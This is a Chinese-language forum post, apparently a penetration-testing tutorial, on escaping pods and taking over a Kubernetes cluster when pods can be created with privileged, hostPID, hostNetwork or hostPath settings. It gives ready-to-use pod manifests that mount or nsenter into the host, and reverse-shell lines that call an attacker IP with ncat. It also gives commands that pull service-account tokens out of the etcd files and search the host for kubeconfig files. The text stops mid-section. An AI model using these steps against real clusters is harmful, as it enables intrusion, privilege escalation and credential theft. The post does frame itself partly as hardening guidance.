taibeihacker
Moderator
Kubernetes Pod 横向移动
1 前言
本文討論了滲透測試場景下,當攻擊者在Kubernetes 集群中擁有創建pods 權限時,由於配置不當造成集群接管的風險。提出在不同配置下,通過pods 橫向移動並最終接管集群的不同方案。2 摘要
根據公司安全與隱私保護的設計要求,為了保證系統的信息安全,其中一個原則是最小權限原則。也就是每個用戶、系統進程或應用程序都需要使用完成任務所需的最少權限來運行。如果所配置的權限超出了所需的權限,攻擊者就會利用這些場景獲取敏感數據、入侵其它系統或進行權限提升,從而在當前網絡中進行橫向移動。眾所周知,Kubernetes 的部署和DevOps 的實施流程比較複雜,在部署時由於運維人員的操作,往往導致配置錯誤或違背了“最小權限原則”,本文總結了多種在真實場景下,如何通過一些配置不當的權限,繞過安全檢測,實現接管集群的方法。同時,運維人員可以通過本文的案例,檢查Kubernetes 中的配置,加固環境,從而降低集群安全風險。
3 Kubernetes 提供的安全方案
提及到Kubernetes 安全最佳實踐,在配置pod 時要使用最小特權原則。但是,該如何執行細粒度的安全控制,又該如何評估每個屬性的風險呢? Kubernetes 提供了多種方式來解決上面的問題PodSecurityPolicy
PodSecurityPolicy 與其它專門的准入控制插件一樣,作為內置的策略API,PodSecurityPolicy可以對Pod的創建更新進行細粒度的授權。核心是通過定義一組pod在運行時必須遵循的條件及相關字段的默認值,只有Pod滿足這些條件才會被K8s集群所接受。
OPA Gatekeeper
在Kubernetes v1.25 開始,PodSecurityPolicy (PSP) 准入控制器已被移除。 OPA(Open Policy Agent):是一個開源的、通用策略引擎,可以將策略編寫為代碼。提供一個種高級聲明性語言來編寫策略,並把決策這一步驟從復雜的業務邏輯中解耦出來。 Gatekeeper 是基於OPA的一個Kubernetes 策略解決方案,可替代PSP或者部分RBAC功能。因為OPA與Kubernetes對接偏向於底層,不方便用戶使用,所以社區就基於OPA引擎開發了OPA Gatekeeper的解決方案,方便使用。如果pod 擁有的權限超過了策略允許的範圍,准入控制器就可以拒絕該pod 進入集群。
然而,即使存在用於定義和執行策略的控制措施,運維人員並不總能理解每個特定屬性的實際安全影響,而且pod 的創建往往沒有按需要進行鎖定。在滲透測試過程中,當獲取的shell 在集群的pods內,且有權限在集群上創建pod,而集群卻沒有強制執行策略,這種情景接管集群控制權限非常簡單。但是,如果當前pods下只可以用hostNetwork、hostPID、hostIPC、hostPath 或privileged 創建一個pod 呢?針對不同情景,本文討論了不同的接管方案。
各種權限的概念:
privileged:特權容器是一種具有主機的所有功能的容器,它解除了常規容器的所有限制。特權容器可以執行幾乎所有可以直接在主機上執行的操作,包括一些針對內核修改的操作等。比如:calico 容器,在啟動的時候初始化容器,要對容器的網絡進行設置,就需要特權,對操作系統的設備,命名空間進行修改,這個時候,就需要特權容器
hostPID:容器將共享其主機的進程命名空間,容器可以直接查看和操作主機上的進程。具體而言,hostPID 的使用通常用於一些特殊的用例,例如運行容器內的進程能夠查看主機上的其他進程。
HostPath:是Kubernetes的一個核心對象之一,它允許在Pod中使用本地文件系統。 HostPath支持讀寫和只讀操作,並提供了豐富的訪問權限控制選項。
HostNetwork:允許Pod 直接使用主機(Node)的網絡命名空間。當Pod 啟用HostNetwork 時,它與主機共享網絡棧,可以訪問主機上的網絡接口和端口。
HostIPC :是一種Pod 安全上下文(Pod Security Context)的設置,用於控制Pod 是否能夠共享宿主機的IPC(Inter-Process Communication)命名空間
4 不同权限下的场景讨论
4.1 所有权限均开放
創建的pod 會將主機的文件系統掛載到pod 上。如果能使用k8s 中的nodeName 選擇器將pod 調度在control pannel上,然後,在pod 中chroot 到掛載主機文件系統的目錄。最終,在運行pod 的節點上獲取了root 權限。從ETCD 數據庫中讀取密鑰信息- 攻擊者通過在selector 中指定nodeName,即可在指定的node 節點上創建pod,當ectd 數據庫部署在該節點上時,便可以讀取etcd 數據庫中的內容,包含群集的配置信息、密鑰等。
獲取特權服務帳戶令牌- 即使只能在集群中的worker節點上調度pod,也可以通過讀取worker節點上pod 中掛載的密鑰信息。在生產集群中,即使是在worker 節點上,通常也至少有一個pod 有一個已掛載的令牌,該令牌綁定到一個服務帳戶(service account),如果該令牌擁有較高權限,那麼攻擊者就有權限在所有命名空間中創建pod。
4.1.1 获取 shell
首先說一下筆者的實驗環境:1
2
3
4
5
root@k8s-master:~# kubectl get nodes
NAME STATUS ROLES AGE VERSION
k8s-master Ready control-plane 2d19h v1.28.2
k8s-node1 Ready none 2d19h v1.28.4
k8s-node2 Ready none 2d19h v1.28.2
查看當前token 所擁有的權限:
1
kubectl auth can-i --list --token=xxx

一個簡單的例子,實現上述方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
apiVersion: v1
kind: Pod
metadata:
name: all-allowed-exec-pod
labels:
app: prod
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: all-allowed-pod
image: ubuntu
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
command: [ '/bin/sh', '-c', '--' ]
args: [ 'while true; do sleep 30; done;' ]
# 可以通過節點選擇器調度到k8s-master control pannel 中
nodeName: k8s-master
volumes:
- name: noderoot
hostPath:
path: /
創建pods:
1
2
kubectl apply -f allow_all.yaml
kubectl exec -it all-allowed-exec-pod -- chroot /host bash

如果我們所在的pods 沒有pods/exec 權限,可以採取反彈shell 的方式獲取shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
apiVersion: v1
kind: Pod
metadata:
name: all-allowed-revshell-pod
labels:
app: prod
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: all-allowed-pod
image: raesene/ncat
command: [ '/bin/sh', '-c', '--' ]
args: [ 'ncat 192.168.88.139 4444 -e /bin/bash;' ]
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
nodeName: k8s-master
volumes:
- name: noderoot
hostPath:
path: /

反彈得到的shell:

4.1.2 后渗透
4.1.2.1 寻找 token
通過如上方式獲取到control-pannel 節點後,可以從etcd 中讀取數據,一種優雅的方式是通過安裝ectd 客戶端進行連接,下面介紹一種簡易方式:查看etcd 數據庫文件路徑:
1
ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir

查看數據庫文件內容
1
strings /var/lib/etcd/member/snap/db | less
從數據庫中獲取sa 名稱,並提取token:
1
etcd=`strings /var/lib/etcd/member/snap/db`; for x in `echo '$etcd' | grep eyJhbGciOiJ`; do name=`echo '$etcd' | grep $x -B40 | grep registry`; echo $name \| $x; echo; done

獲取一些默認token:
1
etcd=`strings /var/lib/etcd/member/snap/db`; for x in `echo '$etcd' | grep eyJhbGciOiJ`; do name=`echo '$etcd' | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
在pods 中直接查看掛載的token
1
cat /var/run/secrets/kubernetes.io/serviceaccount/token

️在kubernetes 1.24 開始,創建serviceaccount 不會自動生成secret,在pods 中獲取的token 屬於集群自動生成,且有1h 的有效期。
4.1.2.2 寻找 kubeconfigs
kubeconfig是集群的配置文件,每個集群內的用戶通過各種集群內置或者自定義的角色綁定一定的權限。通過kuberconfig文件,將可以在任意一台服務器上進行kubernetes 集群的管理,僅僅需要一個kubernetes 集群的kubectl 客戶端即可。1
2
3
4
5
6
find/-name kubeconfig
find/-name kubelet.conf
ls /etc/kubernetes/admin.conf
find/-name .kube
grep -R 'current-context' /home/
grep -R 'current-context' /root/

4.2 开放 Privileged HostPid 权限
在這種情況下,與上一個場景下的pod 相比,唯一的變化是如何獲得主機的root 訪問權限。攻擊者在無法通過chroot 到宿主機的文件系統時,可以使用nsenter 在運行pod 的節點上獲取shell 權限。nsenter 是一個Linux 命令行工具,用於進入已有的命名空間,可以在指定進程的命令空間下運行指定的命令。命名空間是一種隔離機制,用於隔離進程的資源,而容器是通過命名空間進行資源隔離的。通過使用nsenter 命令,可以進入已經存在的命名空間,並在該命名空間中執行命令或查看其狀態。
特權容器(privileged: true)在容器層面上幾乎打破了容器本應提供的所有隔離。 PID 命名空間是少數仍然存在的隔離牆之一。然而,沒有hostPID,nsenter 僅能用於進入容器內運行的進程的命名空間。
當同時設置hostPID: true 和privileged: true 時,Pod 將能夠看到主機上的所有進程,並且你可以進入主機上的init 系統(PID 1),並在節點上執行你的shell。
4.2.1 获取 shell
12
3
4
5
6
7
8
9
10
11
12
13
14
15
16
apiVersion: v1
kind: Pod
metadata:
name: priv-hostpid-exec-pod
labels:
app: prod
spec:
hostPID: true
containers:
- name: priv-hostpid-pod
image: ubuntu
tty: true
securityContext:
privileged: true
command: [ 'nsenter', '--target', '1', '--mount', '--uts', '--ipc', '--net', '--pid', '--', 'bash' ]
nodeName: k8s-master
創建好pods 後直接kubectl exec -it priv-hostpid-exec-pod -- bash 即可獲取宿主機root 權限。
同樣的,如果我們所在的pods 沒有pods/exec 權限,可以採取反彈shell 的方式獲取shell。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
apiVersion: v1
kind: Pod
metadata:
name: priv-hostpid-revshell-pod
labels:
app: prod
spec:
hostPID: true
containers:
- name: priv-and-hostpid-pod
image: raesene/ncat
securityContext:
privileged: true
command: [ '/bin/sh', '-c' ]
args: [ 'ncat 192.168.88.138 4444 -e '/usr/bin/nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash'' ]
nodeName: k8s-master

4.2.2 后渗透
關於後滲透的部分可以參考前面的場景,在此不做贅述。4.3 开放 Privilege 权限
當僅擁有Privilege 權限時,有如下兩種方式可以獲取集群權限:掛載宿主機文件系統:在特權模式下,宿主機上的/dev 在Pod 內是可訪問的。可以使用mount 命令將包含宿主機文件系統的磁盤掛載到Pod 中。但是針對一些高權限路徑,並不能在特權Pod 內可訪問。
利用cgroup 漏洞:通過一些利用腳本,如undock.sh 等獲取root權限。
4.3.1 获取 shell
12
3
4
5
6
7
8
9
10
11
12
13
14
15
apiVersion: v1
kind: Pod
metadata:
name: priv-exec-pod
labels:
app: prod
spec:
containers:
- name: priv-pod
image: ubuntu
securityContext:
privileged: true
command: [ '/bin/sh', '-c', '--' ]
args: [ 'while true; do sleep 30; done;' ]
nodeName: k8s-master
同樣的,如果我們所在的pods 沒有pods/exec 權限,可以採取反彈shell 的方式獲取shell。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
apiVersion: v1
kind: Pod
metadata:
name: priv-revshell-pod
labels:
app: prod
spec:
containers:
- name: priv-pod
image: raesene/ncat
securityContext:
privileged: true
command: [ '/bin/sh', '-c', '--' ]
args: [ 'ncat 192.168.88.138 4444 -e /bin/bash;' ]
nodeName: k8s-master
4.3.2 后渗透
查看宿主機文件系統:1
kubectl exec -it priv-exec-pod -- fdisk -l

可以看到sda3 是宿主機的文件系統,直接掛載宿主機文件系統:
1
2
kubectl exec -it priv-exec-pod -- mkdir /host
kubectl exec -it priv-exec-pod -- bash -c 'mount /dev/sda3 /host/'

然後可以在這些文件系統中搜索一些敏感文件,如token等: